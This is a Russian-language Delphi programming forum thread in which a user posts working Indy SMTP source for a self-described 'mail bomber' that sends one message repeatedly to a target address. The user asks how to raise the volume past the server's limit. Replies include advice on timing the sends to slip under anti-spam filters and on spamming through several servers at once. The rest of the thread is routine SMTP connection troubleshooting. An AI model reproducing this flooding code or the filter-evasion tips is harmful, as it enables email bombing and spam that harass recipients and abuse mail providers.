Модераторы: Snowy, Poseidon, MetalFan

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> нужна помощь, проблема отправки писем, программа виснет при отправки писем 
:(
    Опции темы
kr0t
Дата 21.6.2007, 13:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 15
Регистрация: 19.6.2007

Репутация: нет
Всего: нет
Вот решил написать небольшого mail бомбера
собственно код:

Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdMessageClient, IdSMTP, IdMessage;

type
  TForm1 = class(TForm)
    IdSMTP1: TIdSMTP;
    Edit1: TEdit;
    Label1: TLabel;
    Edit2: TEdit;
    Edit3: TEdit;
    Label2: TLabel;
    Label3: TLabel;
    Button1: TButton;
    IdMessage1: TIdMessage;
    Edit4: TEdit;
    Label4: TLabel;
    Edit5: TEdit;
    Label5: TLabel;
    Edit6: TEdit;
    Label6: TLabel;
    Memo1: TMemo;
    Label7: TLabel;
    Button2: TButton;
    Edit7: TEdit;
    Label8: TLabel;
    Edit8: TEdit;
    Label9: TLabel;
    Label10: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
i, j, a: integer;
begin
IdSMTP1.Host :=Edit1.Text ;
IdSMTP1.Username:=Edit2.Text;
IdSMTP1.Password:=Edit3.Text;
IdMessage1.CharSet := 'WINDOWS-1251';
IdMessage1.Encoding := meMIME;
IdMessage1.ContentType := 'text/plain';
IdMessage1.ContentTransferEncoding := '8bit';
IdMessage1.Subject:=Edit6.Text;
IdMessage1.Recipients.EMailAddresses:=Edit4.Text;
IdMessage1.From.Address:=Edit5.Text;
IdMessage1.From.Name:=Edit7.Text;
IdMessage1.Body:=Memo1.Lines;
IdMessage1.Date:=StrToDate('01.12.2004');
j := strtoint(edit8.text); //В переменную j заносим кол-во писем из edit8.text
a:=0;
try
  IdSMTP1.Connect;
  begin
    for i := 1 to j do {начало цикла}
      try
      IdSMTP1.Send(IdMessage1); //шлем почту
      except
      begin
      ShowMessage('Не удается отправить письмо(а)!');
      IdSMTP1.Disconnect;
      break;
      end;
      end;
    end;
except
ShowMessage('Не удалось подконнектится!!!');
end;
if IdSMTP1.Connected then
begin
IdSMTP1.Disconnect;
ShowMessage('Писем отправленно: '+inttostr(j)+'.'+#13+'Рассылка закончена!');
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;

end.



Вот, собственно, вопросы:
1. Когда программа начинает отправлять письма, главная форма виснет до тех пор пока не закончится рассылка, бывает и еще долше... :( Как сделать чтоб при рассылке, форма не зависала, чтоб ее можно было перетаскивать, чтоб Lable менялись в зависимости от количества отправленных писем, то есть отправила программа 2 письма на форме появилась надпись что 2 письма уже отправленно, отправила 3 письма-появилось надпись что 3 письма и т.д., а то она подвисает и ничего на ней не меняется :(
2. Почему программка не вывозит много писем? Хочу чтоб штук 200 отправляла, а она больше ~30 не хочет :(((

Чуствую, что надо применять потоки, но не уверен, да и не знаком с этип еще....

Пока, что все.
Подскажите, пожалуйста.
Заранее спасибо!



Это сообщение отредактировал(а) kr0t - 21.6.2007, 13:42
PM MAIL   Вверх
Snowy
Дата 21.6.2007, 14:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484
1. Прикрути антифриз.
2. Это тебя сервер блокирует, как спамера.
PM MAIL   Вверх
kr0t
Дата 21.6.2007, 16:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 15
Регистрация: 19.6.2007

Репутация: нет
Всего: нет
Snowy

Поподробней можно про антифриз? я никогда с этим не сталкивался :( 
Можно с примерами smile

Сервер который??? К которому  подконектился или к которому шлю письма?
Я когда поставил 100 писем на отправку, у меня тачка умерла, просто тупо повисла, даже курсор не двигался, только ребут спас smile в чем может быть дело? Как это можно устранить? 

Спасибо.
PM MAIL   Вверх
Snowy
Дата 21.6.2007, 16:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484
Цитата(kr0t @  21.6.2007,  16:28 Найти цитируемый пост)
Поподробней можно про антифриз? я никогда с этим не сталкивался 
TIdAntifreeze - находится на последней вкладке Indy. Просто брось его на форму.

Цитата(kr0t @  21.6.2007,  16:28 Найти цитируемый пост)
Сервер который??? К которому  подконектился или к которому шлю письма?
Любой. Первый, которому не понравилось количество писем за данный промежуток времени.
Сработал антиспам-фильтр и тебя блокировало.

Цитата(kr0t @  21.6.2007,  16:28 Найти цитируемый пост)
Я когда поставил 100 писем на отправку, у меня тачка умерла, просто тупо повисла, даже курсор не двигался, только ребут спас
Это частный случай. Реши первые проблемы, эта сама отпадёт.
PM MAIL   Вверх
Daedra
  Дата 22.6.2007, 05:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
У меня вообще не коннектится СМТП клиент к серверу!Пробовал POP3 тоже не получается!Никак  smile  smile Почему такое может быть?

Добавлено через 5 минут и 22 секунды
Username,password,host всё указываю!Не коннектится.......
PM MAIL   Вверх
Daedra
  Дата 22.6.2007, 06:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
Не коннектится вообще!Второй день уже мучаюсь,хоть об стену бейся............Пробовал мыла на яндексе,гугле,рамблере всё одно и тоже...
PM MAIL   Вверх
kr0t
Дата 22.6.2007, 08:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 15
Регистрация: 19.6.2007

Репутация: нет
Всего: нет
Snowy
Спасибо с советом про антифриз, все работает smile
Теперь будем стараться обойти защиту от спама сервере... 
У кого, какие предложения? 
Использую стандартные компоненты для отправки почы: IdSMTP1: TIdSMTP и IdMessage1: TIdMessage;


Daedra
Кинь хотябы код на форум, поглядим...
Стукни в асю: 4(пять)04(пять)8790, чем смогу -помогу  smile 
PM MAIL   Вверх
kr0t
Дата 22.6.2007, 14:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 15
Регистрация: 19.6.2007

Репутация: нет
Всего: нет
Snowy
антифриз помог от зависания окна, а что делать с системой??? Эта прога просто ложит всю систему после 24 отправленных писем (это через яндекс) :( Что можно сделать, чтоб система не висла???
PM MAIL   Вверх
Daedra
Дата 22.6.2007, 17:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
kr0t 
Сделай таймер,чтобы каждое письмо отправлялось через 10 секунд. За час получится 60*6=360 писем,что немало smile Можно использовать спам сразу с нескольких серверов,что увеличит количество писем за час.
PM MAIL   Вверх
MetalFan
Дата 22.6.2007, 17:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Аццкий Сотона
****


Профиль
Группа: Комодератор
Сообщений: 3815
Регистрация: 2.10.2006
Где: Moscow

Репутация: 14
Всего: 128
моно вынести отправку в отдельный поток с низким приоритетом


--------------------
There are always someone smarter than you...
PM MAIL   Вверх
Daedra
Дата 22.6.2007, 17:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
Код использую твой, kr0t. Не отправляются письма......Может это из за того что я выхожу через наш общий Gateway?У меня нет своего внешнего IP,мы используем один IP на всю сеть.

Добавлено через 2 минуты и 10 секунд
Хотя прога выполняет DNS запрос удачно и пытается сконнектится с сервером.

Добавлено через 14 минут и 26 секунд
А что кстати надо вводить в Bound IP и Bound port в настройках сервера SMTP?
PM MAIL   Вверх
Daedra
Дата 22.6.2007, 18:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
Может я какие настройки неправильно ввёл?Крот,выложи исходники пожалуйста в архиве!
PM MAIL   Вверх
Daedra
Дата 22.6.2007, 20:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
Попробовал через dial up всё равно не получается......Пробовал 465 порт SSL тоже самое...
PM MAIL   Вверх
Daedra
Дата 22.6.2007, 21:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
Возможно я неправильно ввожу имя хоста для авторизации?Для гугла я ввожу gmail.com...Не получается

Добавлено через 2 минуты и 31 секунду
Ну кто-нибудь помогите!
PM MAIL   Вверх
Daedra
Дата 22.6.2007, 23:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 22.6.2007

Репутация: нет
Всего: нет
Скажите мне кто-нибудь какие настройки нужно указывать для SMTP сервера в мельчайших подробностях(хотя бы для Гугла и яндекса)!
Мне уже надоело разговаривать с самим собой...

Добавлено через 10 минут и 54 секунды
Мне удалось сконнектиться когда я ввёл smtp.gmail.com но письмо не отправляется,пишет надо StartTLS...........
PM MAIL   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Сети"
Snowy
Poseidon
MetalFan

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делится вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам помогли и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Snowy, Poseidon, MetalFan.
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Сети | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.2045 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.